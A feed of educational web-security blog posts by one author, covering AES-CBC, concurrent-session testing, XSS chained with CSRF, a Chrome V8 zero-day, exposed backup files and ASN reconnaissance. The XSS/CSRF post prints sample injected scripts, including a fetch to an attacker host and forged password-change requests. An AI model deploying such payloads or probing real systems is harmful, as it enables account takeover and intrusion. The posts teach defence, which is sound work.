Arashad Dodhiya — Tue, 16 Jun 2026 14:50:55 +0000

The missing piece most developers never learn about AES encryption.

Encryption Is More Than Just AES

Ask a developer what encryption algorithm their application uses, and you'll often hear:

"We use AES-256."

That's good—but incomplete.

Here's the thing: AES alone doesn't tell the whole story.

AES is only the encryption algorithm. To encrypt data larger than a single block, AES needs a mode of operation. One of the most widely used modes in the past was CBC (Cipher Block Chaining).

By the end of this article, you'll understand:

What symmetric encryption is
What AES actually does
Why modes of operation exist
How CBC encryption and decryption work
The role of the Initialization Vector (IV)
Why CBC has limitations

Let's begin from the ground up.

What Is Symmetric Encryption?

Symmetric encryption uses the same secret key for both encryption and decryption.

Think of it like a house key:

You lock the door with one key.
You unlock it with the same key.

Encryption works similarly.

Plaintext + Secret Key → Ciphertext
Ciphertext + Same Key → Plaintext

Examples of symmetric encryption algorithms:

AES
DES
Blowfish

The challenge isn't just keeping the key secret.

It's also encrypting data securely.

What Is AES?

You'll encounter AES in:

HTTPS
VPNs
Disk encryption
Password managers
Secure messaging apps

But AES has an important limitation.

It encrypts fixed-size blocks.

For AES, that block size is always:

128 bits (16 bytes).

And this leads us to the next concept.

What Is a Block Cipher?

A block cipher encrypts data in fixed-size chunks called blocks.

Imagine the message:

HELLO WORLD THIS IS A SECRET MESSAGE

AES doesn't encrypt the whole message at once.

Instead, it splits it into blocks:

Block 1
Block 2
Block 3
...

Each block is encrypted separately.

Sounds simple.

But there's a problem.

Why Do We Need Modes of Operation?

Suppose two blocks contain identical data:

Block A = ADMIN
Block B = ADMIN

If we encrypt them independently using the same key, the ciphertext may also be identical.

An attacker could start spotting patterns.

And patterns are dangerous in cryptography.

To solve this problem, cryptographers created modes of operation.

Modes define how blocks interact with each other during encryption.

Common modes include:

Today we're focusing on CBC.

ECB vs CBC: Why CBC Was Introduced

ECB (Electronic Codebook)

ECB encrypts every block independently:

P1 → Encrypt → C1
P2 → Encrypt → C2
P3 → Encrypt → C3

The problem?

Identical plaintext blocks produce identical ciphertext blocks. This leaks patterns in the data.

CBC (Cipher Block Chaining)

CBC fixes this by linking blocks together.

Each plaintext block is combined with the previous ciphertext block before encryption.

As a result:

Every block depends on all previous blocks.

This greatly reduces pattern leakage.

Suggested Diagram

View a visual explanation of block cipher modes here:

(https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kop2vvb9m0kequa1v5nh.png)

What Is an Initialization Vector (IV)?

There's one problem.

The first block has no previous ciphertext block.

So what should CBC use?

The answer is the Initialization Vector (IV).

An IV is a random value used only for the first block. It ensures that encrypting the same plaintext twice with the same key produces different ciphertext.

Important facts:

✅ IV does not have to be secret

✅ IV should be unique and unpredictable

❌ Reusing IVs can weaken security

Think of the IV as a random starting point.

Real-World Analogy: Passing Secret Notes

Imagine a chain of people passing secret notes.

Each person doesn't just encrypt their message.

They also mix it with the previous person's encrypted message.

If one note changes, every note afterward changes too.

That's exactly how CBC works.

Hence the name:

Cipher Block Chaining.

How CBC Encryption Works

CBC encryption follows this formula:

C₁ = Encrypt(P₁ XOR IV)

C₂ = Encrypt(P₂ XOR C₁)

C₃ = Encrypt(P₃ XOR C₂)

Where:

P = Plaintext
C = Ciphertext
IV = Initialization Vector

Each block depends on the previous ciphertext block.

Encryption Flow

Plaintext Block 1
        ↓
XOR with IV
        ↓
AES Encrypt
        ↓
Ciphertext Block 1
        ↓
XOR with Plaintext Block 2
        ↓
AES Encrypt
        ↓
Ciphertext Block 2

A small change in one block affects all following ciphertext blocks.

This property is called chaining.

Suggested Diagram

A good visual flowchart of CBC encryption:

[AES-CBC Flowchart Example]

(https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i2mawni7i5g6jvqk9kt1.png)

How CBC Decryption Works

Decryption reverses the process.

Formula:

P₁ = Decrypt(C₁) XOR IV

P₂ = Decrypt(C₂) XOR C₁

P₃ = Decrypt(C₃) XOR C₂

Notice something interesting?

The previous ciphertext block is required for decryption.

This design decision later enabled attacks such as:

CBC Bit Flipping
Padding Oracle Attacks

We'll cover those in future articles.

Why XOR Matters

XOR (Exclusive OR) is one of the most important operations in cryptography.

A special property of XOR:

A XOR B XOR B = A

This allows data to be mixed and later recovered during decryption.

Without XOR, CBC would not work.

Advantages of CBC Mode

CBC improved upon ECB in several ways:

✅ Hides repeating patterns

✅ Makes ciphertext less predictable

✅ Widely supported historically

✅ Strong confidentiality when implemented correctly

For many years, CBC was the standard choice in protocols and applications.

Limitations of CBC Mode

CBC isn't perfect.

Some limitations include:

❌ Requires padding

❌ Encryption cannot be parallelized efficiently

❌ Incorrect IV handling weakens security

❌ Provides confidentiality but not integrity

This last point is critical.

Encryption alone does not guarantee that ciphertext hasn't been modified.

That's why modern applications often use authenticated encryption modes such as AES-GCM, which provide both confidentiality and integrity.

Why CBC Still Matters Today

Even though modern systems increasingly prefer AES-GCM, CBC still appears in:

Legacy applications
Older TLS implementations
Custom encryption schemes
Historical vulnerability research

If you're a developer, understanding CBC helps you build safer systems.

If you're a security researcher, understanding CBC helps you recognize cryptographic weaknesses.

Because in security, understanding the design is often more important than memorizing the attack.

What's Next?

Now that you understand how CBC works, the next question becomes:

What happens if an attacker modifies the ciphertext?

That question leads directly to one of the most fascinating cryptographic attacks:

CBC Bit Flipping.

And that's exactly what we'll explore next.

Concurrent Login Security: How to Check Whether Multiple Sessions Are Allowed

Arashad Dodhiya — Tue, 16 Jun 2026 05:02:47 +0000

Why unlimited logins can become a hidden business logic vulnerability.

Imagine This Scenario

A user logs into your application from their laptop.

A few seconds later, the same account logs in from another browser.

Then another device.

And another.

Everything still works.

At first glance, this seems harmless. After all, many modern applications support multiple devices. But here's the catch:

Should every application allow unlimited concurrent sessions?

Not always.

In some systems, allowing multiple active sessions is a feature. In others, it's a serious business logic flaw that attackers can abuse.

This is one of those security checks that often gets overlooked because technically nothing is "broken." The application behaves exactly as designed.

And that's precisely why business logic vulnerabilities are dangerous.

What Is Concurrent Login?

Concurrent login means a single account can remain authenticated across multiple devices or browsers at the same time.

For example:

Browser A: User logs in
Browser B: Same account logs in
Mobile App: Same account logs in
API Client: Same account logs in

All sessions remain active simultaneously.

Whether this behavior is secure depends entirely on the application's business requirements.

Why This Is a Business Logic Security Issue

Traditional vulnerabilities exploit coding mistakes.

Business logic vulnerabilities exploit design decisions.

The application may correctly authenticate users, manage sessions, and enforce passwords.

Yet the business rule itself may be flawed.

Think of it like a movie streaming service.

If one subscription is meant for a single user, but ten people can watch simultaneously using the same account, the authentication system works perfectly.

The business rule doesn't.

The same principle applies to banking apps, admin panels, enterprise software, and SaaS products.

How to Test Concurrent Login

Testing for concurrent sessions is simple.

Step 1: Login from Browser A

Open your application in Browser A.

Authenticate normally.

Keep this session active.

Step 2: Login from Browser B

Open an incognito window or another browser.

Step 3: Return to Browser A

Refresh the page or perform an authenticated action.

Check whether:

The session still works
The user is logged out
Sensitive operations remain accessible

Secure Behavior

A secure implementation depends on business requirements.

Many high-security applications enforce:

✅ Single active session per account

✅ Session invalidation after new login

✅ Device management controls

✅ Session monitoring and alerts

For example:

"Your account was logged in from another device. Previous sessions have been terminated."

This significantly reduces account misuse.

Vulnerable Behavior

The following may indicate a business logic issue:

❌ Unlimited simultaneous sessions

❌ No session visibility

❌ No device management

❌ No login notifications

❌ No session expiration

An attacker who steals credentials may continue accessing the account indefinitely without the legitimate user noticing.

Example Attack Scenario

Imagine an employee account in an enterprise dashboard.

An attacker obtains credentials through phishing.

The attacker logs in.

The employee remains logged in as usual.

Since concurrent sessions are allowed:

Both users stay authenticated
No alert is generated
The attacker silently accesses data

The compromise may remain undetected for weeks.

The authentication system never failed.

The business logic did.

Risks of Unlimited Concurrent Sessions

1. Account Sharing Abuse

Subscription-based platforms often rely on account restrictions.

Unlimited sessions enable unauthorized sharing, leading to revenue loss.

Examples include:

Streaming services
Online learning platforms
Premium SaaS products

2. Credential Theft Persistence

If attackers steal credentials, they can maintain access even after the victim continues using the account.

Without session invalidation:

Stolen access survives indefinitely.

3. Insider Threats

Former employees may retain active sessions after role changes or termination.

This creates unauthorized access risks.

4. Session Hijacking Impact

A hijacked session becomes much more dangerous when multiple active sessions are permitted.

Attackers can operate quietly in the background while the legitimate user remains unaware.

But Wait — Multiple Sessions Aren't Always Bad

This is where context matters.

Not every application should enforce single-session login.

For example:

Usually Acceptable

Messaging applications
Social media platforms
Email services
Multi-device collaboration tools

Users expect seamless access across devices.

Usually Restricted

Banking systems
Admin dashboards
Corporate VPNs
Healthcare platforms
Financial applications

These systems handle highly sensitive data and often require stricter session control.

Security should follow business requirements—not assumptions.

Developer Perspective: How to Implement Session Limits

Developers can enforce session restrictions using several approaches.

Server-Side Session Tracking

Store active session IDs in a database.

When a new login occurs:

Create a new session
Invalidate old sessions
Update the active session record

Pseudo-logic:

User logs in
    ↓
Check existing active session
    ↓
Terminate previous session
    ↓
Create new session

Device Management

Allow users to view:

Active devices
Login locations
Session timestamps

Provide an option to:

"Log out from all devices."

This improves both usability and security.

Login Notifications

Send alerts when new sessions are created:

Email notification
Push notification
SMS alert

Users often detect compromises faster than security systems.

Risk-Based Authentication

High-risk logins may trigger:

Multi-factor authentication (MFA)
Additional verification
Device approval workflows

This reduces unauthorized access even when credentials are stolen.

Security Testing Checklist

When testing concurrent login functionality, ask these questions:

Does a new login invalidate old sessions?
Can users see active sessions?
Are login notifications generated?
Is session management available?
Are security-sensitive roles restricted?
Does MFA affect session creation?

If the answer is "No" to most of these, deeper review may be required.

Key Takeaway

Concurrent login isn't automatically a vulnerability.

The real question is:

Does the application's session behavior align with its business rules?

That's the essence of business logic security.

Because sometimes the system works exactly as intended—

and that's the problem.

Final Thoughts

Developers often focus on code-level bugs like XSS or SQL injection.

Attackers don't.

They look for gaps between what the application does and what the business expects.

Concurrent session handling lives right in that gap.

Review your application's session policy today.

You may discover that your biggest security issue isn't broken code—it's broken logic.

Have you encountered applications that allowed unlimited concurrent sessions? Share your experience below.

How Attackers Chain XSS and CSRF Across Multiple Applications: Understanding Multistage Web Attacks

Arashad Dodhiya — Sun, 14 Jun 2026 14:46:26 +0000

One vulnerability is dangerous. Two vulnerabilities together can become catastrophic.

Imagine this scenario.

You log into your company's internal dashboard in one tab.

In another tab, you're browsing a completely different application you trust.

Unknown to you, that application has been compromised by an attacker.

A few seconds later, sensitive actions start happening in the background:

Password changes
Money transfers
Account modifications
API calls you never intended to make

You never clicked anything.

You never saw a warning.

Yet the attack succeeded.

This is the reality of multistage attacks—where attackers chain multiple weaknesses together to bypass security controls.

One of the most dangerous combinations is:

XSS + Weak CSRF Protection + Shared Authentication

Let's break down how this attack works.

What Is a Multistage Attack?

Most real-world breaches don't rely on a single vulnerability.

Attackers chain weaknesses together.

Think of it like breaking into a building:

One flaw opens the front gate.
Another flaw unlocks the office.
A third flaw gives access to sensitive files.

Web attacks work exactly the same way.

An attacker might use:

Cross-Site Scripting (XSS)
Weak CSRF defenses
Misconfigured authentication
Shared session cookies

Individually, these bugs may seem minor.

Together?

They're extremely powerful.

The Attack Chain

Here's the simplified flow:

Application A compromised
        ↓
Victim visits Application A
        ↓
Stored/Reflected XSS executes
        ↓
Victim already authenticated to Application B
        ↓
Malicious requests sent to B
        ↓
Unauthorized actions performed

This is called a cross-application attack chain.

The victim never realizes anything happened.

Step 1: Application A Contains XSS

Suppose Application A contains a stored XSS vulnerability.

The attacker injects malicious JavaScript:

<script>
fetch("https://attacker.com/log");
</script>

Or more advanced payloads using JavaScript APIs like:

var xhr = new XMLHttpRequest();
xhr.open("POST", "https://app-b.example/change-email");
xhr.send();

When another user visits the vulnerable page, the script executes inside their browser.

This is where things become dangerous.

Because browsers trust code running inside a legitimate website.

Step 2: The Victim Is Already Logged Into Application B

Now imagine the victim is also logged into Application B.

This is common in enterprise environments:

HR portal
Admin dashboard
Payment system
Internal applications

The browser automatically sends session cookies for authenticated sites.

If Application B lacks proper protections, the attack moves to the next stage.

Step 3: XHR Requests Trigger Actions in Application B

The malicious script can generate background requests using:

var xhr = new XMLHttpRequest();

xhr.open(
  "POST",
  "https://app-b.example/change-password",
  true
);

xhr.send("password=hacked123");

Or modern JavaScript:

fetch(
  "https://app-b.example/api/admin",
  {
    method: "POST"
  }
);

If Application B relies only on cookies for authentication and lacks CSRF protection, the browser may include valid session cookies automatically.

From the server's perspective:

"This request came from an authenticated user."

But it didn't.

It came from malicious JavaScript.

Why XSS Makes CSRF Even Worse

Traditional CSRF attacks usually require tricking a victim into clicking a link or loading a page.

XSS changes the game completely.

Because once an attacker executes JavaScript in the browser, they can:

Send arbitrary requests
Read page content (depending on origin)
Trigger APIs
Automate actions
Chain multiple attacks together

Security researchers often say:

"XSS often defeats CSRF protections."

And they're right.

If an attacker controls JavaScript execution, many defensive layers become weaker.

Real-World Enterprise Risk

Large organizations frequently operate multiple applications:

portal.company.com
hr.company.com
admin.company.com
payroll.company.com

If authentication is shared across domains or cookies are broadly scoped, compromise of one application may affect others.

This creates a blast radius problem.

One vulnerable app can become a launching pad for attacks against the entire ecosystem.

And this is where most organizations underestimate risk.

The issue isn't just one vulnerable application.

It's how applications trust each other.

Defense: How to Stop This Attack Chain

Stopping multistage attacks requires multiple layers of defense.

1. Use SameSite Cookies

Modern browsers support:

Set-Cookie:
session=abc123;
SameSite=Lax

Or:

SameSite=Strict

This prevents browsers from sending cookies during certain cross-site requests.

It significantly reduces CSRF risk.

2. Implement Strong CSRF Tokens

Every state-changing request should require:

Unique tokens
Server-side validation
Session binding

Example:

<input
 type="hidden"
 name="csrf_token"
 value="random_token">

Without the correct token, the request fails.

Even if the attacker controls the browser.

3. Perform Origin and Referer Validation

Servers should verify:

Origin: https://app-b.example

If the request originates elsewhere:

https://evil.example

Reject it.

Origin checks add another important security layer.

4. Isolate Authentication Domains

Avoid sharing cookies across multiple applications.

Bad:

*.company.com

Better:

auth.company.com
hr.company.com
admin.company.com

Separate authentication reduces the impact of a single compromise.

5. Eliminate XSS Vulnerabilities

The strongest defense is preventing XSS entirely.

Use:

Output encoding
Context-aware escaping
Content Security Policy (CSP)
Secure frameworks
Input validation

Remember:

An XSS vulnerability often becomes much more than "just XSS."

The Bigger Security Lesson

Attackers rarely think in terms of individual vulnerabilities.

They think in chains.

A low-severity XSS bug today may become tomorrow's account takeover.

A missing CSRF token may become the missing piece of a larger attack.

Security isn't about protecting a single application.

It's about protecting the trust relationships between applications.

Because in modern web environments:

The real vulnerability is often the connection between systems—not the systems themselves.

Final Thoughts

Multistage attacks remind us of an important principle:

Security failures rarely happen because one thing went wrong. They happen because multiple small weaknesses align.

XSS.

Weak CSRF protection.

Shared authentication.

Individually manageable.

Combined? Potentially devastating.

As defenders, our job isn't only to patch vulnerabilities.

It's to understand how attackers chain them together before they do.

Which security control do you think organizations underestimate the most: CSP, CSRF tokens, or cookie isolation?

Understanding Chrome Zero-Day CVE-2026-11645: What Happened, What V8 Is, and Why Google Rushed a Patch

Arashad Dodhiya — Wed, 10 Jun 2026 16:28:37 +0000

When Google releases an emergency Chrome update, security teams pay attention.

When that update fixes a zero-day vulnerability, everyone should.

Recently, Google patched CVE-2026-11645, a security flaw discovered in Chrome's V8 JavaScript engine. The company moved quickly because attackers could potentially exploit the bug before most users even knew it existed.

But what exactly happened?

And why does a bug inside a JavaScript engine become a global security concern?

Let's break it down in plain English.

What Is CVE-2026-11645?

CVE-2026-11645 is a security vulnerability found in V8, the JavaScript engine that powers Google Chrome.

Google classified the issue as a zero-day vulnerability, which means attackers may have known about and potentially used the flaw before a patch was widely available.

That's what makes zero-days dangerous.

Normally, software vendors discover a bug, fix it, and then release the update.

With a zero-day, defenders start at a disadvantage because attackers get a head start.

First, What Is V8?

Most Chrome users never hear about V8.

Yet they use it every day.

V8 is the engine that takes JavaScript code from websites and turns it into instructions your computer can execute.

Think of Chrome as a car.

The browser interface is the dashboard.
Tabs are the seats.
Extensions are accessories.
V8 is the engine under the hood.

Without V8, websites couldn't run interactive features such as:

Online editors
Social media feeds
Web games
Real-time chats
Streaming platforms

Every time a webpage executes JavaScript, V8 is doing the heavy lifting.

That's why vulnerabilities inside V8 are especially important. If attackers can manipulate the engine itself, they may gain capabilities far beyond a normal website.

What Does "Out-of-Bounds" (OOB) Mean?

The vulnerability behind CVE-2026-11645 has been described as an Out-of-Bounds (OOB) issue.

The name sounds complicated.

The concept isn't.

Imagine a hotel with 100 rooms.

A guest is assigned Room 42.

Instead of opening Room 42, they somehow gain access to Room 101—a room that doesn't exist within their authorized area.

Something has gone wrong with the hotel's boundaries.

Computers have similar boundaries.

Programs store information inside allocated memory regions. They're supposed to read and write only within those assigned areas.

An Out-of-Bounds bug occurs when software accidentally accesses memory outside its intended limits.

This can lead to:

Application crashes
Data corruption
Information leaks
Security vulnerabilities
Potential code execution under certain conditions

The exact impact depends on how the bug behaves and how an attacker might interact with it.

Why Are OOB Vulnerabilities So Serious?

Not every software bug becomes a security emergency.

OOB vulnerabilities are different.

They affect memory management, one of the most sensitive parts of any application.

When memory boundaries break down, unexpected behavior follows.

Security researchers spend significant time studying these flaws because they sometimes create pathways for attackers to:

Read data they shouldn't access
Influence program execution
Escape intended security restrictions

Modern browsers contain multiple layers of protection designed to make exploitation difficult.

But browser vendors still treat memory-related vulnerabilities as high priority because browsers process untrusted content from millions of websites every day.

Why Google Patched CVE-2026-11645 So Quickly

Google's security team follows a common strategy:

Patch first. Share details later.

At first glance, that might seem secretive.

It's actually the opposite.

Publishing detailed technical information before users install updates would effectively hand attackers a roadmap.

By releasing a patch quickly and limiting technical details initially, Google gives users time to update before deeper research becomes public.

This approach is standard across the industry.

Companies like:

Google
Microsoft
Apple
Mozilla

all regularly delay technical disclosures when active exploitation is suspected.

The goal is simple:

Protect users before attackers can weaponize the information.

What Makes Browser Zero-Days Different?

A vulnerability in a random desktop application is one thing.

A browser vulnerability is another.

Browsers sit at the center of modern computing.

We use them for:

Banking
Email
Social media
Work applications
Cloud platforms
Password managers

In many cases, a browser is the most exposed application on a device.

It constantly processes content from the internet.

That's why browser vendors invest enormous resources into security reviews, sandboxing, memory protections, and bug bounty programs.

Even with all those defenses, vulnerabilities still appear.

Software is complicated.

Chrome contains millions of lines of code, and V8 itself is one of the most sophisticated JavaScript engines ever built.

Should You Be Worried?

The good news:

Most users don't need to panic.

They need to update.

Google's rapid patch means the safest action is straightforward:

Update Chrome immediately.
Restart the browser if required.
Enable automatic updates.
Keep operating systems and extensions updated.

Security incidents often sound terrifying because of the technical language.

In reality, the biggest risk usually comes from running outdated software after a fix already exists.

The Bigger Lesson

CVE-2026-11645 is a reminder of something many people forget:

The internet runs on incredibly complex software.

Every webpage you open triggers thousands of operations behind the scenes. Engines like V8 work at extraordinary speed, translating JavaScript into machine instructions in real time.

Most of the time, that complexity is invisible.

Until a vulnerability appears.

Then everyone gets a glimpse of how much engineering—and security work—is happening beneath the browser window.

The lesson isn't that Chrome is unsafe.

It's that modern software is constantly evolving, and security updates are one of the most important parts of staying protected online.

So if Chrome asks you to update, don't click "Later."

This is exactly why those updates exist.

Why Developers Should Never Leave Backup Files on Production Servers

Arashad Dodhiya — Wed, 10 Jun 2026 12:30:20 +0000

As I continue learning web application security, I keep discovering that many serious vulnerabilities don't require sophisticated hacking techniques.

Sometimes, attackers don't need SQL Injection.

Sometimes, they don't need Remote Code Execution.

Sometimes, they simply download a file that was never supposed to be public.

One of the most common examples is exposed backup files.

In this article, we'll explore how backup files can accidentally expose an application's source code and why developers should never leave them on production servers.

Why This Matters

Imagine you've spent months developing a web application.

Your source code contains:

Authentication logic
Database connections
API integrations
Business logic
Security controls

Now imagine all of that becomes publicly downloadable because of a forgotten backup file.

That's exactly what happens in many source code disclosure incidents.

A single exposed file can give attackers a blueprint of your entire application.

What Are Backup Files?

Developers often create backups before making changes.

Examples include:

login.php.bak
index.php.old
config.php.backup
website.zip
source.rar
app.tar.gz

These files are useful during development.

The problem starts when they accidentally remain on a production server.

How Attackers Find Backup Files

Attackers rarely guess vulnerabilities manually.

Instead, they automate the process.

Common filenames they look for:

index.php.bak
login.php.old
config.php.bak
web.config.bak
backup.zip
source.zip
site_backup.tar.gz

Many scanners automatically test hundreds of common backup file names.

Simple example:

Normal page:
https://example.com/login.php

Possible backup:
https://example.com/login.php.bak

If the server allows access, the attacker downloads the file.

Understanding Source Code Disclosure

Normally, when a PHP page is requested:

login.php

The server executes the code and only returns the output.

Example:

<?php
echo "Welcome";
?>

Browser receives:

Welcome

However, a backup file is often treated as a normal downloadable file.

Example:

login.php.bak

Instead of executing the code, the server sends the file contents directly.

The attacker now sees:

<?php

$db_user = "admin";
$db_pass = "password123";

$query = "SELECT * FROM users WHERE username='$user'";

?>

The application's internal logic is exposed.

Real-World Risks

1. Database Credentials Exposure

Developers often store database settings in configuration files.

Example:

$db_host = "localhost";
$db_user = "root";
$db_pass = "SuperSecretPassword";

An exposed backup file may reveal these credentials immediately.

2. Hidden Admin Panels

Source code often reveals endpoints that are not publicly linked.

Example:

/admin
/internal-dashboard
/debug-panel

Attackers can directly access these locations.

3. Hardcoded API Keys

Developers sometimes accidentally store:

AWS Keys
Stripe Keys
SMTP Credentials
JWT Secrets

inside source code.

These become visible once the code is exposed.

4. Easier Vulnerability Discovery

With source code available, attackers can analyze:

Authentication logic
Input validation
Database queries
File uploads
Access controls

Finding vulnerabilities becomes much easier.

Visualizing the Attack

Developer
    │
    ▼
Creates backup file

login.php.bak

    │
    ▼
Uploads to production

    │
    ▼
Attacker discovers file

    │
    ▼
Downloads source code

    │
    ▼
Finds secrets and vulnerabilities

Practical Example

Imagine a website contains:

https://example.com/login.php

A backup file exists:

https://example.com/login.php.bak

An attacker downloads it and discovers:

$query = "SELECT * FROM users
WHERE username='$user'
AND password='$pass'";

The attacker notices user input is directly inserted into the query.

This immediately suggests a potential SQL Injection vulnerability.

Without source code, finding this issue could take much longer.

With source code, it becomes obvious.

Common Mistakes Developers Make

Mistake	Risk
Uploading .bak files	Source code exposure
Leaving ZIP backups online	Entire application disclosure
Storing secrets in code	Credential leakage
No deployment review process	Sensitive files remain public
No security scanning	Vulnerabilities go unnoticed

Best Practices

Use Version Control

Instead of storing backups on servers:

Git
GitHub
GitLab
Bitbucket

provide safer version history management.

Separate Backups from Web Root

Bad:

/var/www/html/backup.zip

Better:

/opt/backups/

outside the web-accessible directory.

Remove Temporary Files Before Deployment

Create deployment checklists that verify:

No .bak files
No .old files
No ZIP archives
No test files

Scan Production Servers

Regularly search for:

*.bak
*.old
*.zip
*.tar.gz

before releases.

Store Secrets Securely

Avoid:

$password = "SuperSecretPassword";

Use:

Environment Variables
Secret Managers
Vault Solutions

instead.

Key Takeaways

Backup files often contain complete source code.
Source code disclosure can reveal credentials and sensitive information.
Attackers actively search for backup files.
A single exposed file can compromise an entire application.
Proper deployment practices significantly reduce risk.

Conclusion

When learning cybersecurity, it's easy to focus on advanced attacks like SQL Injection, Remote Code Execution, or privilege escalation.

However, many real-world breaches begin with something much simpler.

A forgotten backup file.

Security isn't only about preventing attackers from breaking in.

It's also about avoiding mistakes that accidentally invite them in.

Before deploying any application, make sure backup files, temporary files, and old versions never reach your production server.

That small habit can prevent a major security incident.

The Internet's Address Book: Understanding ASN Like a Hacker

Arashad Dodhiya — Tue, 09 Jun 2026 19:53:34 +0000

Why Google Owns AS15169 and Cloudflare Owns AS13335

Most people know what an IP address is.

Ask someone what 8.8.8.8 is, and there's a good chance they'll recognize it as Google's DNS server.

But ask them what AS15169 is?

Silence.

And that's exactly why attackers, bug bounty hunters, and security researchers pay attention to Autonomous System Numbers (ASNs).

Because while IP addresses tell you where a device lives, ASNs tell you who owns the neighborhood.

Once you understand that difference, the internet starts looking very different.

The Day I Stopped Looking at IP Addresses

When I first started learning reconnaissance, I was obsessed with domains and IPs.

I'd find a website.

Resolve its IP.

Run some scans.

Move on.

Simple.

Then I discovered ASN enumeration.

Suddenly, a single IP address wasn't just a server anymore.

It became a clue.

A breadcrumb leading to hundreds—sometimes thousands—of other assets owned by the same organization.

That's when I realized:

IP addresses show individual houses.

ASNs show entire cities.

And that's where recon gets interesting.

What Is an ASN?

An Autonomous System Number (ASN) is a unique identifier assigned to a network or group of networks controlled by a single organization.

Think of the internet as a giant global postal system.

Every house has an address.

That's your IP address.

But houses belong to neighborhoods.

Neighborhoods belong to cities.

Cities belong to states.

An ASN is like the official identifier for that city.

Instead of tracking one address, you're identifying the organization responsible for an entire section of the internet.

The Simple Analogy

Imagine you're standing outside a warehouse.

You see one truck parked outside.

That truck is an IP address.

Most people stop there.

But a hacker asks:

"Who owns the logistics company?"

The logistics company is the ASN.

Once you know who owns the company, you can discover:

Other warehouses
Delivery centers
Distribution hubs
Regional offices

The same principle applies online.

Why Does Google Own AS15169?

Google operates one of the largest networks on Earth.

Millions of servers.

Data centers on multiple continents.

Global infrastructure.

To manage all that traffic, Google owns:

AS15169

This ASN represents a massive portion of Google's network infrastructure.

If you look up AS15169, you'll find countless IP ranges associated with Google services.

Examples include:

Search
Gmail
YouTube
Google Cloud
Maps
Android services

When internet providers need to route traffic toward Google, they don't think in terms of individual servers.

They think in terms of AS15169.

It's the network's identity card.

Why Does Cloudflare Own AS13335?

Cloudflare's ASN is:

AS13335

If you've spent any time in cybersecurity, you've probably encountered Cloudflare without realizing it.

Millions of websites rely on Cloudflare for:

DDoS protection
CDN services
WAF protection
DNS services

Because Cloudflare sits in front of enormous amounts of internet traffic, it maintains its own massive autonomous system.

When you identify AS13335 during reconnaissance, you're often looking at infrastructure connected to Cloudflare's global network.

And that can reveal useful context about how a target's infrastructure is structured.

Why Hackers Care About ASN Enumeration

Here's where most guides stop.

They explain what an ASN is.

Then they move on.

But the real value comes from understanding what ASNs reveal.

Let's say you discover:

example.com

Most beginners start looking for subdomains.

That's fine.

But an experienced recon practitioner asks:

"Which ASN owns this infrastructure?"

Because one ASN can expose far more assets than a single domain ever will.

From One Domain to Hundreds of Assets

Imagine this chain:

example.com
        ↓
ASN Discovery
        ↓
Associated IP Ranges
        ↓
Additional Hosts
        ↓
Expanded Attack Surface

One domain becomes:

Multiple subdomains
Multiple IP ranges
Multiple services
Multiple opportunities for discovery

That's why ASN enumeration is often considered one of the most powerful reconnaissance techniques available.

A Real-World Example

Think about a shopping mall.

A website is one store.

An IP address is the store's street address.

Most people stop there.

An ASN tells you who owns the entire mall.

Now you can investigate every other store inside the property.

Different entrances.

Different businesses.

Different security levels.

The perspective changes completely.

How to Find ASN Information

One of the easiest tools for ASN research is:

he.net

Hurricane Electric's BGP Toolkit allows you to search:

Domains
IP addresses
ASNs
Routing information

For example:

google.com

can lead you to:

AS15169

From there, you can explore:

Advertised prefixes
Network ownership
Associated ranges
Routing paths

It's like moving from a street map to a satellite view.

The Hidden Recon Advantage

Here's what many beginners never realize.

A vulnerability scanner only examines what you already know exists.

Reconnaissance helps you discover what you didn't know existed.

And ASN enumeration is one of the fastest ways to expand that visibility.

A forgotten server.

A legacy IP range.

An acquired company's infrastructure.

A regional deployment.

All of those can become visible through ASN research.

Not because you're scanning harder.

Because you're thinking bigger.

Common ASN Numbers You Should Recognize

The more reconnaissance you do, the more familiar these become.

Organization	ASN
Google	AS15169
Cloudflare	AS13335
Microsoft	AS8075
Amazon	AS16509
Meta (Facebook)	AS32934

Over time, seeing these numbers becomes second nature.

Just like recognizing a familiar domain.

Why This Matters More Than Ever

Modern organizations don't operate from one server.

They operate from cloud platforms, regional networks, CDNs, APIs, and distributed infrastructure.

That means understanding ownership is becoming more valuable than understanding individual hosts.

And ownership is exactly what ASNs reveal.

Think about it this way:

IP addresses tell you where something is.

ASNs tell you who it belongs to.

That's a much more powerful question.

Final Thoughts

Most people learn domains.

Some learn IP addresses.

Very few learn ASNs.

That's a mistake.

Because the moment you understand Autonomous System Numbers, the internet stops looking like a collection of websites and starts looking like a collection of interconnected networks.

And that's how hackers, bug bounty hunters, and security researchers see the web.

Not as pages.

Not as servers.

But as infrastructure.

The next time you discover an IP address, don't stop there.

Ask a better question:

Who owns the network behind it?

That's where the real reconnaissance begins.